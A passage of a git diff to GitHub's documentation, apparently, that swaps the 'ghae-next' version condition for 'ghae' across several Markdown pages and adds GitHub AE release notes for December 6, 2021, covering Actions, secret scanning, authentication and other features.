reusables.actions.ae-beta %} {% for operation in currentRestOperations %} {% if operation.subcategory == 'actions' %}{% include rest_operation %}{% endif %} diff --git a/content/rest/reference/repos.md b/content/rest/reference/repos.md index ca85509c37..b740a1207d 100644 --- a/content/rest/reference/repos.md +++ b/content/rest/reference/repos.md @@ -170,7 +170,7 @@ You can communicate that a transient environment no longer exists by setting its {% if operation.subcategory == 'deployments' %}{% include rest_operation %}{% endif %} {% endfor %} -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} ## Environments The Environments API allows you to create, configure, and delete environments. For more information about environments, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." To manage environment secrets, see "[Secrets](/rest/reference/actions#secrets)." diff --git a/content/rest/reference/secret-scanning.md b/content/rest/reference/secret-scanning.md index d3fd555101..2cb0e7cdf5 100644 --- a/content/rest/reference/secret-scanning.md +++ b/content/rest/reference/secret-scanning.md @@ -11,7 +11,7 @@ miniTocMaxHeadingLevel: 3 {% data reusables.secret-scanning.api-beta %} -The {% data variables.product.prodname_secret_scanning %} API lets you{% ifversion fpt or ghec or ghes > 3.1 or ghae-next %}: +The {% data variables.product.prodname_secret_scanning %} API lets you{% ifversion fpt or ghec or ghes > 3.1 or ghae %}: - Enable or disable {% data variables.product.prodname_secret_scanning %} for a repository. For more information, see "[Repositories](/rest/reference/repos#update-a-repository)" in the REST API documentation. - Retrieve and update {% data variables.product.prodname_secret_scanning %} alerts from a {% ifversion fpt or ghec %}private {% endif %}repository. For futher details, see the sections below. diff --git a/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md b/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md index cc87ced91a..f6f7e88e11 100644 --- a/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md +++ b/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md @@ -61,18 +61,18 @@ The {% data variables.search.advanced_url %} provides a visual interface for con ![Advanced Search](/assets/images/help/search/advanced_search_demo.gif) -{% ifversion fpt or ghes or ghae-next or ghec %} +{% ifversion fpt or ghes or ghae or ghec %} ## Searching repositories on {% data variables.product.prodname_dotcom_the_website %} from your private enterprise environment -If you use {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %}{% ifversion ghae-next %} or {% data variables.product.prodname_ghe_managed %}{% endif %}{% else %}{% data variables.product.product_name %}{% endif %} and you're a member of a {% data variables.product.prodname_dotcom_the_website %} organization using {% data variables.product.prodname_ghe_cloud %}, an enterprise owner for your {% data variables.product.prodname_enterprise %} environment can enable {% data variables.product.prodname_github_connect %} so that you can search across both environments at the same time{% ifversion ghes or ghae %} from {% data variables.product.product_name %}{% endif %}. For more information, see the following. +If you use {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %} or {% data variables.product.prodname_ghe_managed %}{% else %}{% data variables.product.product_name %}{% endif %} and you're a member of a {% data variables.product.prodname_dotcom_the_website %} organization using {% data variables.product.prodname_ghe_cloud %}, an enterprise owner for your {% data variables.product.prodname_enterprise %} environment can enable {% data variables.product.prodname_github_connect %} so that you can search across both environments at the same time{% ifversion ghes or ghae %} from {% data variables.product.product_name %}{% endif %}. For more information, see the following. {% ifversion fpt or ghes or ghec %} -- "[Enabling {% data variables.product.prodname_unified_search %} between your enterprise account and {% data variables.product.prodname_dotcom_the_website %}](/{% ifversion ghes %}{{ currentVersion }}{% else %}enterprise-server@latest{% endif %}/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom)" in the {% data variables.product.prodname_ghe_server %} documentation{% endif %}{% ifversion ghae-next %} -- "[Enabling {% data variables.product.prodname_unified_search %} between your enterprise account and {% data variables.product.prodname_dotcom_the_website %}](/github-ae@latest/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom)" in the {% data variables.product.prodname_ghe_managed %} documentation -{% endif %} -{% ifversion ghes or ghae-next %} +- "[Enabling {% data variables.product.prodname_unified_search %} between your enterprise account and {% data variables.product.prodname_dotcom_the_website %}](/{% ifversion ghes %}{{ currentVersion }}{% else %}enterprise-server@latest{% endif %}/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom)" in the {% data variables.product.prodname_ghe_server %} documentation{% endif %} +- "[Enabling {% data variables.product.prodname_unified_search %} between your enterprise account and {% data variables.product.prodname_dotcom_the_website %}](/github-ae@latest/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom)" in the {% data variables.product.prodname_ghe_managed %} documentation + +{% ifversion ghes or ghae %} To scope your search by environment, you can use a filter option on the {% data variables.search.advanced_url %} or you can use the `environment:` search prefix. To only search for content on {% data variables.product.product_name %}, use the search syntax `environment:local`. To only search for content on {% data variables.product.prodname_dotcom_the_website %}, use `environment:github`. diff --git a/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md b/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md index 0556f8c8a6..cf410536e1 100644 --- a/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md +++ b/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md @@ -12,7 +12,7 @@ redirect_from: versions: fpt: '*' ghes: '*' - ghae: next + ghae: '*' ghec: '*' topics: - GitHub search @@ -25,8 +25,8 @@ You can search for designated private repositories on {% data variables.product. ## Prerequisites - An enterprise owner for {% ifversion fpt or ghec %}your private {% data variables.product.prodname_enterprise %} environment{% else %}{% data variables.product.product_name %}{% endif %} must enable {% data variables.product.prodname_github_connect %} and {% data variables.product.prodname_unified_search %} for private repositories. For more information, see the following.{% ifversion fpt or ghes or ghec %} - - "[Enabling {% data variables.product.prodname_unified_search %} between your enterprise account and {% data variables.product.prodname_dotcom_the_website %}](/{% ifversion ghes %}{{ currentVersion }}{% else %}enterprise-server@latest{% endif %}/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom)" in the {% data variables.product.prodname_ghe_server %} documentation{% endif %}{% ifversion ghae-next %} - - "[Enabling {% data variables.product.prodname_unified_search %} between your enterprise account and {% data variables.product.prodname_dotcom_the_website %}](/github-ae@latest/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom)" in the {% data variables.product.prodname_ghe_managed %} documentation + - "[Enabling {% data variables.product.prodname_unified_search %} between your enterprise account and {% data variables.product.prodname_dotcom_the_website %}](/{% ifversion ghes %}{{ currentVersion }}{% else %}enterprise-server@latest{% endif %}/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom)"{% ifversion fpt or ghec %} in the {% data variables.product.prodname_ghe_server %} documentation{% endif %}{% endif %}{% ifversion fpt or ghec or ghae %} + - "[Enabling {% data variables.product.prodname_unified_search %} between your enterprise account and {% data variables.product.prodname_dotcom_the_website %}](/github-ae@latest/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom)"{% ifversion fpt or ghec %} in the {% data variables.product.prodname_ghe_managed %} documentation{% endif %} {% endif %} - You must already have access to the private repositories and connect your account {% ifversion fpt or ghec %}in your private {% data variables.product.prodname_enterprise %} environment{% else %}on {% data variables.product.product_name %}{% endif %} with your account on {% data variables.product.prodname_dotcom_the_website %}. For more information about the repositories you can search, see "[About searching on GitHub](/github/searching-for-information-on-github/getting-started-with-searching-on-github/about-searching-on-github#searching-repositories-on-githubcom-from-your-private-enterprise-environment)." @@ -39,8 +39,8 @@ For more information, see the following. | Your enterprise environment | More information | | :- | :- | -| {% data variables.product.prodname_ghe_server %} | "[Enabling {% data variables.product.prodname_dotcom_the_website %} repository search from your private enterprise environment](/enterprise-server@latest/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment#enabling-githubcom-repository-search-from-github-enterprise-server)" |{% ifversion ghae-next %} -| {% data variables.product.prodname_ghe_managed %} | "[Enabling {% data variables.product.prodname_dotcom_the_website %} repository search from your private enterprise environment](/github-ae@latest//search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment#enabling-githubcom-repository-search-from-github-ae)" |{% endif %} +| {% data variables.product.prodname_ghe_server %} | "[Enabling {% data variables.product.prodname_dotcom_the_website %} repository search from your private enterprise environment](/enterprise-server@latest/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment#enabling-githubcom-repository-search-from-github-enterprise-server)" | +| {% data variables.product.prodname_ghe_managed %} | "[Enabling {% data variables.product.prodname_dotcom_the_website %} repository search from your private enterprise environment](/github-ae@latest//search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment#enabling-githubcom-repository-search-from-github-ae)" | {% elsif ghes or ghae %} diff --git a/content/search-github/searching-on-github/searching-issues-and-pull-requests.md b/content/search-github/searching-on-github/searching-issues-and-pull-requests.md index 53bb4c70c6..87b2785ed3 100644 --- a/content/search-github/searching-on-github/searching-issues-and-pull-requests.md +++ b/content/search-github/searching-on-github/searching-issues-and-pull-requests.md @@ -155,7 +155,7 @@ You can narrow your results by labels, using the `label` qualifier. Since issues | ------------- | ------------- | label:LABEL | [**label:"help wanted" language:ruby**](https://github.com/search?utf8=%E2%9C%93&q=label%3A%22help+wanted%22+language%3Aruby&type=Issues) matches issues with the label "help wanted" that are in Ruby repositories. | | [**broken in:body -label:bug label:priority**](https://github.com/search?q=broken+in%3Abody+-label%3Abug+label%3Apriority&type=Issues) matches issues with the word "broken" in the body, that lack the label "bug", but *do* have the label "priority." -| | [**label:bug label:resolved**](https://github.com/search?l=&q=label%3Abug+label%3Aresolved&type=Issues) matches issues with the labels "bug" and "resolved."{% ifversion fpt or ghes > 3.2 or ghae-next or ghec %} +| | [**label:bug label:resolved**](https://github.com/search?l=&q=label%3Abug+label%3Aresolved&type=Issues) matches issues with the labels "bug" and "resolved."{% ifversion fpt or ghes > 3.2 or ghae or ghec %} | | [**label:bug,resolved**](https://github.com/search?q=label%3Abug%2Cresolved&type=Issues) matches issues with the label "bug" or the label "resolved."{% endif %} ## Search by milestone diff --git a/data/release-notes/github-ae/2021-03/2021-03-03.yml b/data/release-notes/github-ae/2021-03/2021-03-03.yml index 7185cd78c4..3132c98a89 100644 --- a/data/release-notes/github-ae/2021-03/2021-03-03.yml +++ b/data/release-notes/github-ae/2021-03/2021-03-03.yml @@ -9,8 +9,6 @@ sections: - | [{% data variables.product.prodname_actions %}](https://github.com/features/actions) is a powerful, flexible solution for CI/CD and workflow automation. For more information, see "[Introduction to {% data variables.product.prodname_actions %}](/actions/learn-github-actions/introduction-to-github-actions)." - {% data variables.product.prodname_actions %} on {% data variables.product.product_name %} uses a new [{% data variables.actions.hosted_runner %}](/actions/using-github-hosted-runners/about-ae-hosted-runners), only available for {% data variables.product.product_name %}, that enables you to customize the size, image, and networking configuration of the runners. These runners are a finished-service CI compute environment with auto-scaling and management, fully managed by {% data variables.product.company_short %}. During the beta, the use {% data variables.actions.hosted_runner %}s is free of charge. For more information, see "[Adding {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/adding-ae-hosted-runners)." - Please note that when {% data variables.product.prodname_actions %} is enabled during this upgrade, two organizations named "GitHub Actions" (@**actions** and @**github**) will appear in {% data variables.product.product_location %}. These organizations are required by {% data variables.product.prodname_actions %}. Users named @**ghost** and @**actions** appear as the actors for creation of these organizations in the audit log. - heading: 'GitHub Packages beta' notes: diff --git a/data/release-notes/github-ae/2021-06/2021-12-06.yml b/data/release-notes/github-ae/2021-06/2021-12-06.yml new file mode 100644 index 0000000000..7daad8a7fc --- /dev/null +++ b/data/release-notes/github-ae/2021-06/2021-12-06.yml @@ -0,0 +1,134 @@ +date: '2021-12-06' +friendlyDate: 'December 6, 2021' +title: 'December 6, 2021' +currentWeek: true +sections: + features: + - heading: 'Administration' + notes: + - | + Customers with active or trial subscriptions for {% data variables.product.product_name %} can now provision {% data variables.product.product_name %} resources from the [Azure Portal](https://portal.azure.com/signin/index/). Your Azure subscription must be feature-flagged to access {% data variables.product.product_name %} resources in the portal. Contact your account manager or {% data variables.contact.contact_enterprise_sales %} to validate your Azure subscription's eligibility. For more information, see "[Setting up a trial of {% data variables.product.prodname_ghe_managed %}](/get-started/signing-up-for-github/setting-up-a-trial-of-github-ae#deploying-github-ae-with-the-azure-portal)." + - heading: 'GitHub Actions' + notes: + - | + [GitHub Actions](https://github.com/features/actions) is now generally available for {% data variables.product.product_name %}. GitHub Actions is a powerful, flexible solution for CI/CD and workflow automation. For more information, see "[Introduction to GitHub Actions](/actions/learn-github-actions/introduction-to-github-actions)." + - | + Self-hosted runners are the default type of runner system on {% data variables.product.product_name %}, and are now generally available for GitHub Actions. With self-hosted runners, you can manage your own machines or containers for the execution of GitHub Actions jobs. For more information, see "[About self-hosted runners](https://docs.github.com/en/github-ae@latest/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)." + - | + Environments, environment protection rules, and environment secrets are now generally available for GitHub Actions on {% data variables.product.product_name %}. For more information, see "[Environments](/actions/reference/environments)." + - | + GitHub Actions can now generate a visual graph of your workflow on every run. With workflow visualization, you can achieve the following. + + - View and understand complex workflows. + - Track progress of workflows in real-time. + - Troubleshoot runs quickly by easily accessing logs and jobs metadata. + - Monitor progress of deployment jobs and easily access deployment targets. + + For more information, see "[Using the visualization graph](/actions/managing-workflow-runs/using-the-visualization-graph)." + - | + GitHub Actions now lets you control the permissions granted to the `GITHUB_TOKEN` secret. The `GITHUB_TOKEN` is an automatically generated secret that lets you make authenticated calls to the API for {% data variables.product.product_name %} in your workflow runs. GitHub Actions generates a new token for each job and expires the token when a job completes. The token has `write` permissions to a number of [API endpoints](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token) except in the case of pull requests from forks, which are always `read`. These new settings allow you to follow a principle of least privilege in your workflows. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token)." + - | + GitHub Actions now supports skipping `push` and `pull_request` workflows by looking for some common keywords in your commit message. + - | + GitHub CLI 1.9 and later allows you to work with GitHub Actions in your terminal. For more information, see [{% data variables.product.prodname_blog %}](https://github.blog/changelog/2021-04-15-github-cli-1-9-enables-you-to-work-with-github-actions-from-your-terminal/). + + - heading: 'Code scanning' + notes: + - | + Code scanning is now in beta for {% data variables.product.product_name %}. For more information, see "[About code scanning](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning)." + - heading: 'Secret scanning' + notes: + - | + You can now specify your own patterns for secret scanning with the beta of custom patterns on {% data variables.product.product_name %}. You can specify patterns for repositories, organizations, and your entire enterprise. When you specify a new pattern, secret scanning searches a repository's entire Git history for the pattern, as well as any new commits. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)." + - heading: 'GitHub Connect' + notes: + - | + GitHub Connect is now available in beta for {% data variables.product.product_name %}. GitHub Connect brings the power of the world's largest open source community to {% data variables.product.product_location %}. You can allow users to view search results from {% data variables.product.prodname_dotcom_the_website %} on {% data variables.product.product_name %}, show contribution counts from {% data variables.product.product_name %} on {% data variables.product.prodname_dotcom_the_website %}, and use GitHub Actions from {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Managing connections between your enterprise accounts](/admin/configuration/managing-connections-between-your-enterprise-accounts)." + - heading: 'GitHub Packages' + notes: + - | + You can now delete any package or package version for GitHub Packages from {% data variables.product.product_name %}'s web UI or REST API. You can also undo the deletion of any package or package version within 30 days. + - | + The npm registry for GitHub Packages and {% data variables.product.prodname_dotcom_the_website %} no longer returns a time value in metadata responses, providing substantial performance improvements. {% data variables.product.company_short %} will continue returning the time value in the future. + - heading: 'Audit logging' + notes: + - | + Events for pull requests and pull request reviews are now included in the audit log for both [enterprises](/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions) and [organizations](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization). These events help administrators better monitor pull request activity and ensure security and compliance requirements are being met. Events can be viewed from the web UI, exported as CSV or JSON, or accessed via REST API. You can also search the audit log for specific pull request events. + - | + Additional events for GitHub Actions are now included in the audit log for both [enterprises](/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions) and [organizations](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization). + + - A workflow is deleted or re-run. + - A self-hosted runner's version is updated. + - heading: 'Authentication' + notes: + - | + The format of authentication tokens for {% data variables.product.product_name %} has changed. The change affects the format of personal access tokens and access tokens for OAuth Apps, as well as user-to-server, server-to-server, and refresh tokens for GitHub Apps. {% data variables.product.company_short %} recommends updating existing tokens as soon as possible to improve security and allow secret scanning to detect the tokens. For more information, see "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/about-authentication-to-github#githubs-token-formats)" and "[About secret scanning](/code-security/secret-security/about-secret-scanning)." + - | + You can now authenticate SSH connections to {% data variables.product.product_name %} using a FIDO2 security key by adding an `sk-ecdsa-sha2-nistp256@openssh.com` SSH key to your account. SSH security keys store secret key material on a separate hardware device that requires verification, such as a tap, to operate. Storing the key on separate hardware and requiring physical interaction for your SSH key offers additional security. Since the key is stored on hardware and is non-extractable, the key can't be read or stolen by software running on the computer. The physical interaction prevents unauthorized use of the key since the security key will not operate until you physically interact with it. For more information, see "[Generating a new SSH key and adding it to the ssh-agent](/github/authenticating-to-github/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#generating-a-new-ssh-key-for-a-hardware-security-key)." + - | + Git Credential Manager (GCM) Core versions 2.0.452 and later now provide secure credential storage and multi-factor authentication support for {% data variables.product.product_name %}. GCM Core with support for {% data variables.product.product_name %} is included with [Git for Windows](https://gitforwindows.org) versions 2.32 and later. GCM Core is not included with Git for macOS or Linux, but can be installed separately. For more information, see the [latest release](https://github.com/microsoft/Git-Credential-Manager-Core/releases/) and [installation instructions](https://github.com/microsoft/Git-Credential-Manager-Core/releases/) in the `microsoft/Git-Credential-Manager-Core` repository. + - heading: 'Notifications' + notes: + - | + You can now configure which events you would like to be notified about on {% data variables.product.product_name %}. From any repository, select the {% octicon "file-code" aria-label="The code icon" %} **Watch** drop-down, then click **Custom**. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications)." + - heading: 'Issues and pull requests' + notes: + - | + With the [latest version of Octicons](https://github.com/primer/octicons/releases), the states of issues and pull requests are now more visually distinct so you can scan status more easily. For more information, see [{% data variables.product.prodname_blog %}](https://github.blog/changelog/2021-06-08-new-issue-and-pull-request-state-icons/). + - | + You can now see all pull request review comments in the **Files** tab for a pull request by selecting the **Conversations** drop-down. You can also require that all pull request review comments are resolved before anyone merges the pull request. For more information, see "[About pull request reviews](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews#discovering-and-navigating-conversations)" and "[About protected branches](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-conversation-resolution-before-merging)." For more information about management of branch protection settings with the API, see "[Repositories](/rest/reference/repos#get-branch-protection)" in the REST API documentation and "[Mutations](/graphql/reference/mutations#createbranchprotectionrule)" in the GraphQL API documentation. + - | + You can now upload video files everywhere you write Markdown on {% data variables.product.product_name %}. Share demos, show reproduction steps, and more in issue and pull request comments, as well as in Markdown files within repositories, such as READMEs. For more information, see "[Attaching files](/github/writing-on-github/working-with-advanced-formatting/attaching-files)." + - | + {% data variables.product.product_name %} now shows a confirmation dialog when you request a review from a team with more than 100 members, allowing you to prevent unnecessary notifications for large teams. + - | + When an issue or pull request has fewer than 30 possible assignees, the assignees control will list all potential users rather than a limited set of suggestions. This behavior helps people in small organizations to quickly find the right user. For more information about assigning users to issues and pull requests, see "[Assigning issues and pull requests to other {% data variables.product.company_short %} users](/issues/tracking-your-work-with-issues/managing-issues/assigning-issues-and-pull-requests-to-other-github-users#assigning-an-individual-issue-or-pull-request)." + - | + You can now include multiple words after the `#` in a comment for an issue or pull request to further narrow your search. To dismiss the suggestions, press Esc. + - | + To prevent the merge of unexpected changes after you enable auto-merge for a pull request, auto-merge is now disabled automatically when new changes are pushed by a user without write access to the repository. Users without write access can still update the pull request with changes from the base branch when auto-merge is enabled. To prevent a malicious user from using a merge conflict to introduce unexpected changes to the pull request, {% data variables.product.product_name %} will disable auto-merge for the pull request if the update causes a merge conflict. For more information about auto-merge, see "[Automatically merging a pull request](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)." + - | + People with maintain access can now manage the repository-level "Allow auto-merge" setting. This setting, which is off by default, controls whether auto-merge is available on pull requests in the repository. Previously, only people with admin access could manage this setting. Additionally, this setting can now by controlled using the "[Create a repository](/rest/reference/repos#create-an-organization-repository)" and "[Update a repository](/rest/reference/repos#update-a-repository)" REST APIs. For more information, see "[Managing auto-merge for pull requests in your repository](/github/administering-a-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository)." + - | + The assignees selection for issues and pull requests now supports type ahead searching so you can find users in your organization faster. Additionally, search result rankings have been updated to prefer matches at the start of a person's username or profile name. + + - heading: 'Repositories' + notes: + - | + When viewing the commit history for a file, you can now click {% octicon "file-code" aria-label="The code icon" %} to view the file at the specified time in the repository's history. + - | + You can now use the web UI to synchronize an out-of-date branch for a fork with the fork's upstream branch. If there are no merge conflicts between the branches, {% data variables.product.product_name %} updates your branch either by fast-forwarding or by merging from upstream. If there are conflicts, {% data variables.product.product_name %} will prompt you to open pull request to resolve the conflicts. For more information, see "[Syncing a fork](/github/collaborating-with-pull-requests/working-with-forks/syncing-a-fork#syncing-a-fork-from-the-web-ui)." + - | + You can now sort the repositories on a user or organization profile by star count. + - | + The Repositories REST API's "compare two commits" endpoint, which returns a list of commits reachable from one commit or branch, but unreachable from another, now supports pagination. The API can also now return the results for comparisons over 250 commits. For more information, see the "[Repositories](/rest/reference/repos#compare-two-commits)" REST API documentation and "[Traversing with pagination](/rest/guides/traversing-with-pagination)." + - | + When you define a submodule in {% data variables.product.product_location %} with a relative path, the submodule is now clickable in the web UI. Clicking the submodule in the web UI will take you to the linked repository. Previously, only submodules with absolute URLs were clickable. Relative paths for repositories with the same owner that follow the pattern ../REPOSITORY or relative paths for repositories with a different owner that follow the pattern ../OWNER/REPOSITORY are supported. For more information about working with submodules, see [Working with submodules](https://github.blog/2016-02-01-working-with-submodules/) on {% data variables.product.prodname_blog %}. + - | + By precomputing checksums, the amount of time a repository is under lock has reduced dramatically, allowing more write operations to succeed immediately and improving monorepo performance. + - heading: 'Releases' + notes: + - | + You can now react with emoji to all releases on {% data variables.product.product_name %}. For more information, see "[About releases](/github/administering-a-repository/releasing-projects-on-github/about-releases)." + - heading: 'Themes' + notes: + - | + Dark and dark dimmed themes are now available for the web UI. {% data variables.product.product_name %} will match your system preferences when you haven't set theme preferences in {% data variables.product.product_name %}. You can also customize the themes that are active during day and night. For more information, see "[Managing your theme settings](/github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings)." + - heading: 'Markdown' + notes: + - | + Markdown files in your repositories now automatically generate a table of contents in the header the file has two or more headings. The table of contents is interactive and links to the corresponding section. All six Markdown heading levels are supported. For more information, see "[About READMEs](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-readmes#auto-generated-table-of-contents-for-readme-files)." + - | + `code` markup is now supported in titles for issues and pull requests. Text within backticks (`` ` ``) will appear rendered in a fixed-width font anywhere the issue or pull request title appears in the web UI for {% data variables.product.product_name %}. + - | + While editing Markdown in files, issues, pull requests, or comments, you can now use a keyboard shortcut to insert a code block. The keyboard shortcut is command + E on a Mac or Ctrl + E on other devices. For more information, see "[Basic writing and formatting syntax](/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#quoting-code)." + - | + You can append `?plain=1` to the URL for any Markdown file to display the file without rendering and with line numbers. You can use the plain view to link other users to specific lines. For example, appending `?plain=1#L52` will highlight line 52 of a plain text Markdown file. For more information, "[Creating a permanent link to a code snippet](/github/writing-on-github/working-with-advanced-formatting/creating-a-permanent-link-to-a-code-snippet#linking-to-markdown)." + - heading: 'GitHub Apps' + notes: + - | + API requests to create an installation access token now respect IP allow lists for an enterprise or organization. Any API requests made with an installation access token for a GitHub App installed on your organization already respect IP allow lists. This feature does not currently consider any Azure network security group (NSG) rules that {% data variables.product.company_short %} Support has configured for {% data variables.product.product_location %}. For more information, see "[Restricting network traffic to your enterprise](/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise#about-ip-allow-lists)," "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)," and "[Apps](https://docs.github.com/en/rest/reference/apps#create-an-installation-access-token-for-an-app)" in the REST API documentation. + - heading: 'Webhooks' + notes: + - | + You can now programmatically resend or check the status of webhooks through the REST API. For more information, see "[Repositories](https://docs.github.com/en/rest/reference/repos#webhooks)," "[Organizations](https://docs.github.com/en/rest/reference/orgs#webhooks)," and "[Apps](https://docs.github.com/en/rest/reference/apps#webhooks)" in the REST API documentation. diff --git a/data/reusables/actions/about-secrets.md b/data/reusables/actions/about-secrets.md index 3877bd3ca9..2772bd8c2f 100644 --- a/data/reusables/actions/about-secrets.md +++ b/data/reusables/actions/about-secrets.md @@ -1 +1 @@ -Encrypted secrets allow you to store sensitive information, such as access tokens, in your repository{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}, repository environments,{% endif %} or organization. +Encrypted secrets allow you to store sensitive information, such as access tokens, in your repository{% ifversion fpt or ghes > 3.1 or ghae or ghec %}, repository environments,{% endif %} or organization. diff --git a/data/reusables/actions/actions-audit-events-workflow.md b/data/reusables/actions/actions-audit-events-workflow.md index 4b0304997e..11db9ea81c 100644 --- a/data/reusables/actions/actions-audit-events-workflow.md +++ b/data/reusables/actions/actions-audit-events-workflow.md @@ -1,12 +1,12 @@ | Action | Description -|------------------|-------------------{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +|------------------|-------------------{% ifversion fpt or ghes > 3.1 or ghae or ghec %} | `cancel_workflow_run` | Triggered when a workflow run has been cancelled. For more information, see "[Canceling a workflow](/actions/managing-workflow-runs/canceling-a-workflow)."{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} | `completed_workflow_run` | Triggered when a workflow status changes to `completed`. Can only be viewed using the REST API; not visible in the UI or the JSON/CSV export. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} -| `created_workflow_run` | Triggered when a workflow run is created. Can only be viewed using the REST API; not visible in the UI or the JSON/CSV export. For more information, see "[Create an example workflow](/actions/learn-github-actions/introduction-to-github-actions#create-an-example-workflow)."{% endif %}{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| `created_workflow_run` | Triggered when a workflow run is created. Can only be viewed using the REST API; not visible in the UI or the JSON/CSV export. For more information, see "[Create an example workflow](/actions/learn-github-actions/introduction-to-github-actions#create-an-example-workflow)."{% endif %}{% ifversion fpt or ghes > 3.1 or ghae or ghec %} | `delete_workflow_run` | Triggered when a workflow run is deleted. For more information, see "[Deleting a workflow run](/actions/managing-workflow-runs/deleting-a-workflow-run)." | `disable_workflow` | Triggered when a workflow is disabled. | `enable_workflow` | Triggered when a workflow is enabled, after previously being disabled by `disable_workflow`. | `rerun_workflow_run` | Triggered when a workflow run is re-run. For more information, see "[Re-running a workflow](/actions/managing-workflow-runs/re-running-a-workflow)."{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} -| `prepared_workflow_job` | Triggered when a workflow job is started. Includes the list of secrets that were provided to the job. Can only be viewed using the REST API. It is not visible in the the {% data variables.product.prodname_dotcom %} web interface or included in the JSON/CSV export. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)."{% endif %}{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| `prepared_workflow_job` | Triggered when a workflow job is started. Includes the list of secrets that were provided to the job. Can only be viewed using the REST API. It is not visible in the the {% data variables.product.prodname_dotcom %} web interface or included in the JSON/CSV export. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)."{% endif %}{% ifversion fpt or ghes > 3.1 or ghae or ghec %} | `approve_workflow_job` | Triggered when a workflow job has been approved. For more information, see "[Reviewing deployments](/actions/managing-workflow-runs/reviewing-deployments)." | `reject_workflow_job` | Triggered when a workflow job has been rejected. For more information, see "[Reviewing deployments](/actions/managing-workflow-runs/reviewing-deployments)."{% endif %} diff --git a/data/reusables/actions/ae-beta.md b/data/reusables/actions/ae-beta.md index dd4011a1f8..e69de29bb2 100644 --- a/data/reusables/actions/ae-beta.md +++ b/data/reusables/actions/ae-beta.md @@ -1,13 +0,0 @@ -{% ifversion ghae-next %} - - - -{% elsif ghae %} - -{% note %} - -**Note:** {% data variables.product.prodname_actions %} is currently in beta for {% data variables.product.prodname_ghe_managed %}. - -{% endnote %} - -{% endif %} diff --git a/data/reusables/actions/ae-hosted-runners-beta.md b/data/reusables/actions/ae-hosted-runners-beta.md deleted file mode 100644 index 804f22a849..0000000000 --- a/data/reusables/actions/ae-hosted-runners-beta.md +++ /dev/null @@ -1,7 +0,0 @@ -{% ifversion ghae %} -{% note %} - -**Note:** {% data variables.actions.hosted_runner %}s are 